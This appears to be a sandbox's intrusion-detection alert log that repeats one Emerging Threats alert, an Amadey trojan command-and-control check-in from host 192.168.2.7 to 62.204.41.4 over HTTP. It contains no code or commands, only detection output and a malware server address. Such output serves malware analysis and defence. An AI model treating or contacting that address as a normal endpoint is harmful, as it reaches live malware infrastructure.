Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450285802027700 02/06/23-18:38:29.330320
SID:	2027700
Source Port:	50285
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450048802027700 02/06/23-18:37:26.342561
SID:	2027700
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449792802027700 02/06/23-18:36:13.832898
SID:	2027700
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450179802027700 02/06/23-18:38:00.453203
SID:	2027700
Source Port:	50179
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450121802027700 02/06/23-18:37:45.046254
SID:	2027700
Source Port:	50121
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450322802027700 02/06/23-18:38:38.036621
SID:	2027700
Source Port:	50322
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450280802027700 02/06/23-18:38:28.132357
SID:	2027700
Source Port:	50280
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450084802027700 02/06/23-18:37:36.184167
SID:	2027700
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450339802027700 02/06/23-18:38:42.208795
SID:	2027700
Source Port:	50339
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449797802027700 02/06/23-18:36:15.167905
SID:	2027700
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450126802027700 02/06/23-18:37:46.263727
SID:	2027700
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449952802027700 02/06/23-18:37:00.344242
SID:	2027700
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449756802027700 02/06/23-18:36:05.379932
SID:	2027700
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449993802027700 02/06/23-18:37:10.446984
SID:	2027700
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449932802027700 02/06/23-18:36:55.578353
SID:	2027700
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449748802027700 02/06/23-18:36:03.424266
SID:	2027700
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449929802027700 02/06/23-18:36:54.008803
SID:	2027700
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450260802027700 02/06/23-18:38:21.613963
SID:	2027700
Source Port:	50260
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450159802027700 02/06/23-18:37:55.686514
SID:	2027700
Source Port:	50159
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449846802027700 02/06/23-18:36:28.476052
SID:	2027700
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450076802027700 02/06/23-18:37:34.245536
SID:	2027700
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450257802027700 02/06/23-18:38:20.892808
SID:	2027700
Source Port:	50257
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450003802027700 02/06/23-18:37:15.250783
SID:	2027700
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450174802027700 02/06/23-18:37:59.284898
SID:	2027700
Source Port:	50174
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450232802027700 02/06/23-18:38:14.844486
SID:	2027700
Source Port:	50232
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450190802027700 02/06/23-18:38:03.117138
SID:	2027700
Source Port:	50190
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449965802027700 02/06/23-18:37:03.533120
SID:	2027700
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450293802027700 02/06/23-18:38:31.205772
SID:	2027700
Source Port:	50293
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450113802027700 02/06/23-18:37:43.122477
SID:	2027700
Source Port:	50113
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450211802027700 02/06/23-18:38:09.797468
SID:	2027700
Source Port:	50211
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450195802027700 02/06/23-18:38:04.351511
SID:	2027700
Source Port:	50195
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449867802027700 02/06/23-18:36:33.500443
SID:	2027700
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449784802027700 02/06/23-18:36:11.941698
SID:	2027700
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449818802027700 02/06/23-18:36:21.931466
SID:	2027700
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449859802027700 02/06/23-18:36:31.553133
SID:	2027700
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450330802027700 02/06/23-18:38:40.019565
SID:	2027700
Source Port:	50330
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449960802027700 02/06/23-18:37:02.273096
SID:	2027700
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450146802027700 02/06/23-18:37:52.585657
SID:	2027700
Source Port:	50146
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450359802027700 02/06/23-18:38:49.036581
SID:	2027700
Source Port:	50359
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450187802027700 02/06/23-18:38:02.390913
SID:	2027700
Source Port:	50187
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450105802027700 02/06/23-18:37:41.185987
SID:	2027700
Source Port:	50105
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450302802027700 02/06/23-18:38:33.426503
SID:	2027700
Source Port:	50302
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449776802027700 02/06/23-18:36:10.243724
SID:	2027700
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450011802027700 02/06/23-18:37:17.285007
SID:	2027700
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450229802027700 02/06/23-18:38:14.131856
SID:	2027700
Source Port:	50229
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449890802027700 02/06/23-18:36:40.402321
SID:	2027700
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450141802027700 02/06/23-18:37:51.394662
SID:	2027700
Source Port:	50141
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449854802027700 02/06/23-18:36:30.381462
SID:	2027700
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450224802027700 02/06/23-18:38:12.894334
SID:	2027700
Source Port:	50224
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450182802027700 02/06/23-18:38:01.180152
SID:	2027700
Source Port:	50182
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449937802027700 02/06/23-18:36:56.780041
SID:	2027700
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450265802027700 02/06/23-18:38:22.792861
SID:	2027700
Source Port:	50265
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449771802027700 02/06/23-18:36:09.033959
SID:	2027700
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449895802027700 02/06/23-18:36:41.619813
SID:	2027700
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449813802027700 02/06/23-18:36:20.733652
SID:	2027700
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449805802027700 02/06/23-18:36:18.799888
SID:	2027700
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450194802027700 02/06/23-18:38:04.099906
SID:	2027700
Source Port:	50194
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450292802027700 02/06/23-18:38:30.970171
SID:	2027700
Source Port:	50292
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449903802027700 02/06/23-18:36:43.538750
SID:	2027700
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450096802027700 02/06/23-18:37:39.062079
SID:	2027700
Source Port:	50096
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449814802027700 02/06/23-18:36:20.972677
SID:	2027700
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450289802027700 02/06/23-18:38:30.269170
SID:	2027700
Source Port:	50289
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450035802027700 02/06/23-18:37:23.185232
SID:	2027700
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450068802027700 02/06/23-18:37:32.325882
SID:	2027700
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450166802027700 02/06/23-18:37:57.344196
SID:	2027700
Source Port:	50166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449912802027700 02/06/23-18:36:48.704071
SID:	2027700
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449743802027700 02/06/23-18:36:02.235832
SID:	2027700
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450010802027700 02/06/23-18:37:17.037593
SID:	2027700
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450264802027700 02/06/23-18:38:22.550322
SID:	2027700
Source Port:	50264
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450362802027700 02/06/23-18:38:49.786551
SID:	2027700
Source Port:	50362
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449909802027700 02/06/23-18:36:47.991595
SID:	2027700
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450335802027700 02/06/23-18:38:41.243353
SID:	2027700
Source Port:	50335
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449899802027700 02/06/23-18:36:42.575366
SID:	2027700
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449997802027700 02/06/23-18:37:12.438413
SID:	2027700
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450080802027700 02/06/23-18:37:35.199981
SID:	2027700
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449870802027700 02/06/23-18:36:34.488374
SID:	2027700
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450273802027700 02/06/23-18:38:25.058834
SID:	2027700
Source Port:	50273
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450077802027700 02/06/23-18:37:34.482978
SID:	2027700
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449833802027700 02/06/23-18:36:25.603474
SID:	2027700
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450007802027700 02/06/23-18:37:16.259881
SID:	2027700
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449874802027700 02/06/23-18:36:36.510727
SID:	2027700
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450049802027700 02/06/23-18:37:26.579536
SID:	2027700
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450334802027700 02/06/23-18:38:41.003924
SID:	2027700
Source Port:	50334
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450363802027700 02/06/23-18:38:50.019719
SID:	2027700
Source Port:	50363
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449998802027700 02/06/23-18:37:12.834460
SID:	2027700
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450245802027700 02/06/23-18:38:18.033800
SID:	2027700
Source Port:	50245
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450138802027700 02/06/23-18:37:50.675317
SID:	2027700
Source Port:	50138
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449744802027700 02/06/23-18:36:02.475154
SID:	2027700
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449940802027700 02/06/23-18:36:57.476531
SID:	2027700
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449785802027700 02/06/23-18:36:12.181176
SID:	2027700
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450008802027700 02/06/23-18:37:16.510743
SID:	2027700
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450204802027700 02/06/23-18:38:06.733576
SID:	2027700
Source Port:	50204
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450150802027700 02/06/23-18:37:53.545295
SID:	2027700
Source Port:	50150
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449839802027700 02/06/23-18:36:27.025983
SID:	2027700
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449928802027700 02/06/23-18:36:53.692434
SID:	2027700
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449969802027700 02/06/23-18:37:04.479000
SID:	2027700
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450064802027700 02/06/23-18:37:30.054050
SID:	2027700
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450208802027700 02/06/23-18:38:09.067569
SID:	2027700
Source Port:	50208
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450306802027700 02/06/23-18:38:34.417912
SID:	2027700
Source Port:	50306
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450162802027700 02/06/23-18:37:56.405411
SID:	2027700
Source Port:	50162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450119802027700 02/06/23-18:37:44.576881
SID:	2027700
Source Port:	50119
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449944802027700 02/06/23-18:36:58.418493
SID:	2027700
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449791802027700 02/06/23-18:36:13.602771
SID:	2027700
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450220802027700 02/06/23-18:38:11.948249
SID:	2027700
Source Port:	50220
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450223802027700 02/06/23-18:38:12.656456
SID:	2027700
Source Port:	50223
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

